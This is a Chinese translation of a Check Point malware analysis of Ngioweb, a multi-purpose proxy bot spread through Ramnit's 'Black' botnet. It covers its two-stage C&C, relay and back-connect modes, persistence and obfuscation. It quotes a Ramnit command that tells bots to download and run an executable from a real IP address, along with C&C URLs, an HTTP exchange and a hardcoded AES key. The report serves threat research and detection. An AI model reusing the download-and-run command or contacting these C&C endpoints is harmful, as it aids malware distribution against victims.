本文翻译自:https://research.checkpoint.com/ramnits-network-proxy-servers/
作者:Alexey Bukhteyev


Ramnit是目前最大的银行僵尸网络之一,最近checkpoint研究人员发现一起新的Ramnit大规模活动——Black,两个月就感染主机超过10万。其主要作用是将受害者设备变成恶意代理服务器。之后,僵尸网络就可以做很多用途了,研究人员认为这不是攻击活动的冰山一角,也意味着新的大规模攻击活动即将来临。

图2: Ramnit “black”僵尸网络地理分布

僵尸网络有很多新的特征:

Ngioweb是一个多功能的代理服务器,使用自有二层加密的二进制协议进行通信。代理恶意软件支持back-connect模式、relay模式,IPv4、IPv6协议,TCP和UDP传输。恶意软件名来源于恶意软件配置中硬编码的域名ngioweb[.]su

文中主要讲述恶意软件使用构建一个多目的的代理僵尸网络。

恶意软件功能

Ngioweb使用了两阶段的C&C基础设施。STAGE-0 C&C会通知恶意软件关于STAGE-1 C&C服务器的信息。STAGE-1 C&C服务器的作用是通过加密信道来控制恶意软件。

下图是感染过程的通信序列:

图3: Ngioweb感染和早期通信

恶意软件以两种模式运行:

Regular Back-Connect代理模式

该模式下可以以受感染主机的身份访问远程服务。为了建立STAGE-1 C&C服务器到远程主机的连接,需要执行下面的动作:

  1. Ngioweb Bot-A 连接到C&C STAGE-0服务器,并接收连接到地址为A:6666的C&C STAGE-1服务器的命令;
  2. Ngioweb Bot-A连接到地址为A:6666的C&C STAGE-1服务器,C&C STAGE-1服务器要求Bot-A通过TCP连接到x.x.x:443;
  3. Bot-A连接到x.x.x.x:443;
  4. Bot-A通知C&C STAGE-1成功连接的消息,并创建一个到A:6666 的额外的TCP会话,用于传输C&C STAGE-1服务器到x.x.x.x:443的数据。

图4:用Ngioweb proxy bot访问远程主机

相同模式可以用于访问受感染主机所在的本地网络中的内部资源:

图5: 访问受感染主机所在的本地网络的资源

中继代理模式

该模式功能强大,因为恶意软件单元可以用来构建代理链并将恶意软件的服务隐藏在僵尸主机的IP地址背后。
下面是构建Ngioweb僵尸网络使用的隐藏服务需要进行的动作:

  1. Ngioweb Bot-A连接到C&C STAGE-0服务器,并接收连接到地址为X:6666的C&C STAGE-1服务器的命令;
  2. Ngioweb Bot-A连接到地址为X:6666的C&C STAGE-1服务器(Server-X)。Server-X要求僵尸主机开启TCP服务器。Ngioweb僵尸主机报告开启的TCP服务器的IP地址和端口。
  3. 恶意软件单元在DNS中公布Bot-A的地址;
  4. 另一个恶意软件Bot-B用DNS解析Bot-A的地址;
  5. Bot-B连接到Bot-A;
  6. Bot-A 创建到Server-X的连接,并作为Server-X与Bot-B之间的中继。

图6:用Ngioweb proxy bot创建隐藏的服务

构建代理链:

  1. Ngioweb Bot-A连接到C&C STAGE-1服务器,要是僵尸主机开启TCP服务器。Ngioweb僵尸主机报告开启的TCP服务器的IP地址和端口。
  2. C&C STAGE-1报告给C&C STAGE-0 IP和relay proxy的端口。
  3. 当新的僵尸主机(Bot-B)连接到C&C STAGE-0服务器时,就接收Bot-A的地址和端口。
  4. Bot-B建立到Bot-A的TCP连接。
  5. Bot-A建立到C&C STAGE-1的新TCP连接,然后创建C&C STAGE-1与Bot-B之间的通信信道。C&C STAGE-1服务器要求Bot-B连接到x.x.x.x:443。
  6. Bot-B连接到x.x.x.x:443。
  7. Bot-B建立到Bot-A,Bot-A建立到C&C STAGE-1的新连接。连接通过Bot-A和Bot-B连接C&C STAGE-1和x.x.x.x:443。

图7: 构建代理链

僵尸的结构并不考虑STAGE-0 C&C提供的地址属于攻击者还是另一个僵尸主机。

感染

研究人员曾发现Ngioweb样本与Ramnit打包在同一个释放器二进制文件中。但Ngioweb主要通过black僵尸网络进行传播。
通过Ramnit僵尸网络感染非常的简单。每次Ramnit僵尸进入C&C服务器都回接收到一个这样的命令:

{
’command’ : ’getexec “dml://185.44.75.109:443/1/v8.exe” “msiexic.exe”’,
’cmd_id’ : 3,
’TTL’ : 3600
}

Ramnit服务器用命令getexec使僵尸主机从特定URL下载和运行定制的可执行文件。dml的意思是下载使用的是Ramnit二进制协议而不是HTTP。getexec的第二个参数用来指定下载的可执行文件的文件名。

命令的TTL参数说明Ramnit的含有特定cmd_id的命令就会在TTL值的时间内过期,当时间传递过来时需要再次执行。因此,受害者计算机会再次感染Ngioweb恶意软件,直到Ramnit僵尸主机激活。

恶意软件分析

恶意软件会创建一个注入代码的进程链。

首先,恶意软件会将用process hollowing结束将代码注入新创建的进程msiexec.exe
然后,当运行msiexec.exe进程时,恶意软件就会尝试创建以下进程来注入payload:

在进程链中的最后一个进程中执行主恶意执行。

图10: 进程创建链

为了防止创建多个恶意进程实例,恶意软件会创建一个有特定伪随机名的mutex,然后检查mutex是否存在:

图11: Mutex名生成算法

恶意软件会为下一步创建三个线程:

线程之间的通信使用的是PostQueuedCompletionStatusGetQueuedCompletionStatus API函数:

图12:通知主线程STAGE-0 C&C服务器的新命令

驻留机制

Ngioweb proxy用三种方法来实现在受害者操作系统中驻留:

恶意软件会尝试复制自己到:

恶意软件会用算法来生成路径并保持可执行文件为下一步的自动运行设置。
选择Program Files ``%APPDATA%``%LocalAppData%内除Temp `` Common Files `` Uninstall Information外的随机子文件夹。恶意软件会创建一个伪随机名的子文件夹,然后在文件夹中找到.exe.dll文件,找到的文件名会永固保存恶意软件的可执行文件。如果没有找到.exe.dll文件,恶意软件会递归地搜索内部子文件夹中的其他文件;如果都没有找到,恶意软件就会生成下面的名字:

图13: 文件名生成算法

恶意软件创建子文件夹来保存可执行文件。子文件名的生成使用的是下面的算法:

图14: 子文件名生成算法

因此,恶意软件的目标路径就是这样的:

C:\Program Files\Internet Explorer\v6.8.3.6\uDkxuDgJ.exe

如果没有找到.exe.dll文件,文件名就是这样的:

C:\Program Files\Internet Explorer\v6.8.3.6\iexplore.exe

如果在Program Files目录中没有找到合适的子文件夹,恶意软件就会在Program Files ``%APPDATA%``%LocalAppData%中创建一个以8位随机字母命名的文件夹,然后用前面提到的算法来生成内部子文件夹名和.exe文件名。

对于保存的文件,会设置与ntdll.dll相同值的新时间戳。
此外,恶意软件还会再选择的目录中创建一个子文件夹,文件夹名与系统目录序列号有关:

图15: 生成二级子文件夹名

生成的文件夹名是这样的:

C:\Program Files\Internet Explorer\2.0.41885\

恶意软件还会在%TEMP%文件夹中创建子文件夹,并保存一个副本。子文件夹和文件名的生成如下:

图16: 恶意软件的副本生成路径

文件夹和文件的名与硬编码的值有关,所以路径与每个受感染的机器是一样的:

%TEMP%\{D2309EFC-AB81-74D2-4D23-1674D2309EFC}\ROPYRmXM.exe

创建的文件和文件夹都使用EncryptFileAPI函数进行加密。

恶意软件会创建两个定时任务:

图17: 开启恶意软件的定时任务

定时任务名是用系统的函数生成的,用于生成mutex和event的名:

图18: 生成的任务名

因此定时任务名和受害者机器名是一样的:

{09EFC5AB-D230-AB81-74D2-4D2309EFC5AB}
{D2309EFC-AB81-74D2-4D23-1674D2309EFC}

恶意软件配置

恶意软件配置中的数据有:

配置以加密格式保存,配置区块的前32字节是AES -256密钥,用于解密配置。APLib用于解压缩:

图19: 解密、提取配置区块

解密后就可以提取配置中的数据:

图20: 解密的恶意软件配置

每个配置域都预先加入了2字节的长度。比如第一个域(AES -256密钥)的长度是0x20。

配置含有下面的区块:

网络与通信

STAGE-0 C&C

恶意软件用HTTP协议连接STAGE-0 C&C服务器。HTTP请求的URL是从配置中获取的:
http://46.161.40.50:443/vnnf4pffztd356ey

恶意软件会创建一个从20个随机字母中进行字符串查询的HTTP GET,HTTP请求的User-Agent参数硬编码在样本中。请求格式如下:

GET /vnnf4pffztd356ey?fafgxybetmnqvmtifcle HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Host: 46.161.40.50
Cache-Control: no-cache

服务器响应中含有命令和Base64编码的服务器数字证书:

HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Thu, 07 Jun 2018 02:54:59 GMT

Content-Type: text/plain; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive



8
WAIT 60



b2
CERT 7PYB0XUnrvomid0DDnlFchiogTULgdmyBz6Rro3hfyyRRqXBzX+W5mbomWG4sKc0i8DTRgV6HuvPqZ6BKgEcIW+jMchM82Zj+vxt9c0js/6Ykg7GcgVNU2v5Un6hrjwWoYHgLdc3lbyGa7bBuRYxV3V+8gxHF2whnIRmfGM2PVM=



0

并支持下面的命令:

STAGE-1 C&C

恶意软件在接收到命令CONNECT host:port后,会创建到特定STAGE-1 C&C服务器的连接。然后用自由的二进制协议(基于TCP)进行通信,来自服务器和客户端的消息都以长度为16字节的header开始。

Header使用了2层加密:
第一层是ECB模式的AES密文,加密密钥保存在恶意软件配置中;
分析的样本中的AES密钥为:

ava5df#be45av^bbdgq!hiuyyhh4327$

AES解密后,header的前4字节chunk会作为XOR密钥解密header的其他部分。解密后,header的格式如下:

恶意软件会将header进行语义分析,获得传输数据的长度和CRC32校验码。消息的数据会进行2层加密,密钥同时用于解密。

解密的消息中含有多个chunk,每个chunk都以表示chunk类型的字节开始:

Chunk的数量和类型与message code有关。

恶意软件支持以下message code:

C&C服务器发送的消息,message code的高字节是0x10,而僵尸主机发送的消息的message code的高字节是0x00

保护机制

恶意软件样本中的所有字符串都用Stack strings obfuscation结束进行了混淆。因此,字符串不以明文也不以加密的形式保存,也很难在恶意软件二进制文件中找到。每个字符串都在函数主体中一个字符一个字符地填充:

图21: 字符串混淆

当恶意软件需要调用API函数时,首先用哈希对来解析目标函数的地址,然后用解析的地址调用API函数:

图22: API调用混淆

恶意软件还使用了一些绕过结束来检测沙箱环境和研究用软件,在查询STAGE-0 C&C服务器之前会进行循环检查。如果检查到沙箱或分析环境,恶意软件就会从加密区块中提取出假的C&C服务器地址,并用来代替真实的配置。

样本中使用的假的配置有:

http://104.144.207.211:443/vnnf4pffztd356ey

http://46.161.40.50:443/vnnf4pffztd356ey

源链接

Hacking more

...